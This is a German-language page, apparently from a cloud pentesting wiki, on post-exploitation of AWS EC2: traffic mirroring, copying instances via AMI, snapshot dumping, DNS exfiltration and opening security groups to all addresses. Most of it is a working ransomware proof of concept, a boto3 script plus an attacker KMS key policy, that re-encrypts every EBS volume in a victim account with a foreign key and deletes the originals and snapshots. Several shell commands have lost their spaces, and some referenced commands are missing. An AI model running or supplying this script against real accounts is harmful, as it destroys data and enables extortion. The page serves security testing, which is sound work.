VPC-Traffic-Mirroring dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Überwachungssystem (IDS) zur Analyse und Überwachung gesendet werden.
Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:
Für weitere Informationen siehe diese Seite:
Laufende Instanz kopieren
Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe EC2 Privilegieneskalationstricks). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots sind Backups von Volumes, die normalerweise sensible Informationen enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.
Wenn Sie ein Volume ohne Snapshot finden, könnten Sie: Einen Snapshot erstellen und die folgenden Aktionen durchführen oder es einfach in einer Instanz innerhalb des Kontos einbinden:
Data Exfiltration
DNS Exfiltration
Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch über DNS exfiltrieren.
VPC Flow Logs werden dies nicht aufzeichnen.
Sie haben keinen Zugriff auf AWS DNS-Logs.
Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
Open Security Group
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc zu ECS
Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
Sensible Informationen in öffentlichen und privaten AMIs suchen
https://github.com/saw-your-packet/CloudShovel: CloudShovel ist ein Tool, das entwickelt wurde, um sensible Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs) zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'
Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichkeit zu ermöglichen, ein EBS-Volume zu verschlüsseln:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel für die Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verbleiben.
Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die Richtlinienregel 'Außenverschlüsselung' aus der Schlüsselrichtlinie.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie propagiert ist. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird es einfach fehlschlagen und für immer vom 'pending'-Zustand zurück in den 'stopped'-Zustand wechseln, da das angehängte EBS-Volume mit dem Schlüssel nicht entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.
Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware PoC ist.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Ähnlich wie im S3-Ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mithilfe von Snapshots, verwendet den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und schließlich werden die Snapshots gelöscht, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.
